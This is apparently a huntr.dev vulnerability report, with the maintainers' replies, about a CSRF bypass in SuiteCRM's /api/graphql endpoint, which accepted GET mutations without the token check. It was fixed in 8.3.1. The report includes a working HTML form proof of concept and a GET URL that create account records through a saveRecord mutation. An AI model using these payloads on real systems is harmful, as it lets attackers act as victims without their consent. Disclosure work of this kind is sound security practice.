CSRF on /api/graphql query executing the mutations through GET requests in salesagility/suitecrm-core

Valid

Reported on

Jun 3rd 2023


Description

Mutations are saveRecord or createProcess queries used in Graphql. SuiteCRM prevents CSRF in this functionality by sending a POST request with a X-Xsrf-Token header. the bug here is that, when we send a GET request, the backend does not expect the X-Xsrf-Token header. Using this, an attacker cound leverage this to bypass the existing CSRF protection.

Proof of Concept :

  • Save it with html extension and click on submit request and the user account is created .
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://suite8demo.suiteondemand.com/api/graphql">
      <input type="hidden" name="query" value="mutation&#123;saveRecord&#40;input&#58;&#123;module&#58;&quot;accounts&quot;&#44;attributes&#58;&#123;assigned&#95;user&#95;name&#58;&#123;user&#95;name&#58;&quot;kjn&quot;&#125;&#44;name&#58;&quot;testing&quot;&#44;phone&#95;office&#58;&quot;&quot;&#44;phone&#95;alternate&#58;&quot;&quot;&#44;website&#58;&quot;https&#58;&#47;&#47;14&#46;rs&quot;&#44;phone&#95;fax&#58;&quot;&quot;&#44;email&#95;addresses&#58;&#91;&#93;&#44;billing&#95;address&#58;&quot;&quot;&#44;billing&#95;address&#95;street&#58;&quot;&quot;&#44;billing&#95;address&#95;city&#58;&quot;&quot;&#44;billing&#95;address&#95;state&#58;&quot;&quot;&#44;billing&#95;address&#95;postalcode&#58;&quot;&quot;&#44;billing&#95;address&#95;country&#58;&quot;&quot;&#44;shipping&#95;address&#58;&quot;&quot;&#44;shipping&#95;address&#95;street&#58;&quot;&quot;&#44;shipping&#95;address&#95;city&#58;&quot;&quot;&#44;shipping&#95;address&#95;state&#58;&quot;&quot;&#44;shipping&#95;address&#95;postalcode&#58;&quot;&quot;&#44;shipping&#95;address&#95;country&#58;&quot;&quot;&#44;description&#58;&quot;&quot;&#44;account&#95;type&#58;&quot;&quot;&#44;industry&#58;&quot;&quot;&#44;annual&#95;revenue&#58;&quot;&quot;&#44;employees&#58;&quot;&quot;&#44;parent&#95;name&#58;&quot;&quot;&#44;campaign&#95;name&#58;&quot;&quot;&#44;date&#95;entered&#58;&quot;&quot;&#44;date&#95;modified&#58;&quot;&quot;&#125;&#125;&#41;&#123;clientMutationId&#44;record&#123;attributes&#44;id&#44;&#95;id&#44;module&#44;acls&#44;type&#44;favorite&#125;&#125;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

#URL used in GET request

https://suite8demo.suiteondemand.com/api/graphql?query=mutation{saveRecord(input:{module:%22accounts%22,attributes:{assigned_user_name:{user_name:%22will%22},name:%22test%22,phone_office:%22%22,phone_alternate:%22%22,website:%22https://google.com%22,phone_fax:%22%22,email_addresses:[],billing_address:%22%22,billing_address_street:%22%22,billing_address_city:%22%22,billing_address_state:%22%22,billing_address_postalcode:%22%22,billing_address_country:%22%22,shipping_address:%22%22,shipping_address_street:%22%22,shipping_address_city:%22%22,shipping_address_state:%22%22,shipping_address_postalcode:%22%22,shipping_address_country:%22%22,description:%22%22,account_type:%22%22,industry:%22%22,annual_revenue:%22%22,employees:%22%22,parent_name:%22%22,campaign_name:%22%22,date_entered:%22%22,date_modified:%22%22}}){clientMutationId,record{attributes,id,_id,module,acls,type,favorite}}}

#Poc:

https://drive.google.com/file/d/1yBXsdp98SV8Ji7YtGf378EbdKAXkGfG8/view?usp=sharing

Impact

The attacker could control bypass the existing CSRF check on the graphql endpoint.

We are processing your report and will contact the salesagility/suitecrm-core team within 24 hours. 4 months ago
We have contacted a member of the salesagility/suitecrm-core team and are waiting to hear back 4 months ago
3 months ago

Maintainer


Hi srivallikusumba Thank you for your Security Report. We have raised the issue from this report with our internal security team to be confirmed. Below is a reference of the issue raised and ID allocated: - SCRMBT-#237 - CSRF on /api/graphql query executing the mutations through GET requests in salesagility/suitecrm-core We will review the issue and confirm it is a vulnerability within SuiteCRM and meets our criteria for a Security issue. If an issue is not considered a Security issue or that it does not need to be private then we'll raise it via the GitHub bug tracker or a more appropriate place. Thank you for your continued contribution to the SuiteCRM project. Kind regards,

SuiteCRM Security Team
srivallikusumba
3 months ago

Researcher


Hi @maintainer, Is there any new update

3 months ago

Maintainer


Hi @srivallikusumba,

The Security Team have now assessed the following issue:

SCRMBT-#237 - CSRF on /api/graphql query executing the mutations through GET requests in salesagility/suitecrm-core

This issue has been given a severity grading of 'Important'. Due to the severity of this issue we are working to release a fix for it very soon.

Once the fix is released, we aim to include your name in the release notes - giving credit for finding and reporting this issue. Please let us know if you would prefer not be included or have a specific request on how you would like to be referenced within the release notes.

Thank you for your assistance and contribution to the SuiteCRM product!

Kind regards, SuiteCRM Security Team

salesagility/suitecrm-core maintainer validated this vulnerability 3 months ago
srivallikusumba has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
srivallikusumba
3 months ago

Researcher


@maintainer, Can I also get a CVE, when fixed?

2 months ago

Maintainer


Hi @srivallikusumba,

Yes, a CVE will be automatically assigned by huntr.dev when the issue is marked as fixed.

Kind regards, SuiteCRM Security Team

Clemente Raposo marked this as fixed in 8.3.1 with commit 782857 2 months ago
Clemente Raposo has been awarded the fix bounty
This vulnerability has been assigned a CVE
Clemente Raposo published this vulnerability 2 months ago
salesagility/suitecrm-core maintainer gave praise 2 months ago
Hi @srivallikusumba, A fix for this issue has now been published. You can find the CVE in the details of this huntr.dev report. Thank you for your assistance and contribution to the SuiteCRM product! Kind regards, SuiteCRM Security Team
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
to join this conversation